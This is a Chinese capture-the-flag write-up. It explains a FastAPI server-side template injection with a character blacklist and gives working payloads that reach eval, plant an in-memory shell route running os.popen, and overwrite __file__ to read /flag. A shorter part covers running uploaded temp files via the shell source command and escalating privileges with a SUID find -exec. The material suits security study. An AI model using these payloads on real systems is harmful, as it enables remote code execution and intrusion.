GoldenHornKing
源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一次代码,access就会变成True,这个环境就不能打了,所以我们最好还是在本地先去掉这个access,方便我们调试,先打通一遍,再打开环境尝试。
1 |
|
这里calc_req参数外面给了四个大括号,这意味着我们传参不需要像ssti一样再传两对大括号进去了,直接可以打payload。
这里是没给回显的,除非你有read()所以我们只能通过服务器是否爆500来判断我们的payload是否有问题。
我们先拿eval:
1 | ().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval'] |
这里使用 .__subclasses__()
后面配合 []
可能更多地是选择了系统中第一个有 __init__
、__globals__
的子类,因此不会导致错误。
这里还有一个拿eval的办法:
1 | app.__init__.__globals__.__builtins__.eval("1*1") |
因为代码前面app = FastAPI(),app是FastAPI的一个对象,我们就可以直接调用app也就是FastAPI类的方法了。
拿到eval后,我们到现在这道题有两个做法:
方法一:打内存马进行rce
打FastAPI内存马,在FastAPI类有一个add_api_route方法,我们可以通过这个方法来增加一个路由,进行rce
1 | app.add_api_route('/shell', lambda: __import__('os').popen('whoami').read()) |
我们需要再eval里重新获取一遍app也就是FastAPI的对象。
1 | __import__('sys').modules['__main__'].__dict__['app'] |
sys.modules
:sys
模块中有一个名为modules
的字典,它维护了所有已导入模块的当前状态。这个字典的键是模块的名称,而值是对应的模块对象。modules['__main__']
:__main__
是运行 Python 程序的主模块,无论是直接从命令行运行的脚本,还是通过某个执行环境运行的代码。通过sys.modules['__main__']
,我们获取到了当前执行程序的主模块对象。__dict__
:每个模块对象都有一个__dict__
属性,它是一个字典,包含了模块内定义的所有全局变量和函数。['app']
:最后,从模块的__dict__
中获取名为app
的对象。
然后整合以下payload:
1 | app.__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/shell', lambda :__import__('os').popen('cat /flag').read())") |
现在访问/shell就可以拿到flag了
方法二:修改__file__进行任意文件读取
1 |
|
在跟路由读取了当前代码文件内容,并输出到网页上。那么如果我们能修改__file__
为/flag那么访问根路由就能拿到flag了。
__file__
在全局变量globals里有
1 | setattr(__import__('sys').modules['__main__'],'__file__','/flag') |
使用setattr(object, name, value)方法修改对象的属性值。
1 | object -- 对象。 |
Q:为什么不用
__import__('sys').modules['__main__'].__dict__
,__file__
明明在这里面啊?A:因为setattr函数的第一个值是一个对象,
__dict__
是__main__
的一个属性,并不是一个对象。
整合一下payload:
1 | app.__init__.__globals__.__builtins__.eval("setattr(__import__('sys').modules['__main__'],'__file__','/flag')") |
php_online
admin_Test
扫后台发现/admin.html,这里可以文件上传,并执行命令。
但是命令执行过滤了基本所有字符,留下的只有:
命令部分fuzz出来的可用字符为t * . /
只能执行临时文件:
1 | . /t*/* |
通过.(点,也就是 source命令)去执行/tmp目录里的文件
flag没有权限读,尝试提权,发现find命令有suid权限:
直接find执行命令:
1 | find /etc/passwd -exec cat /flag \; |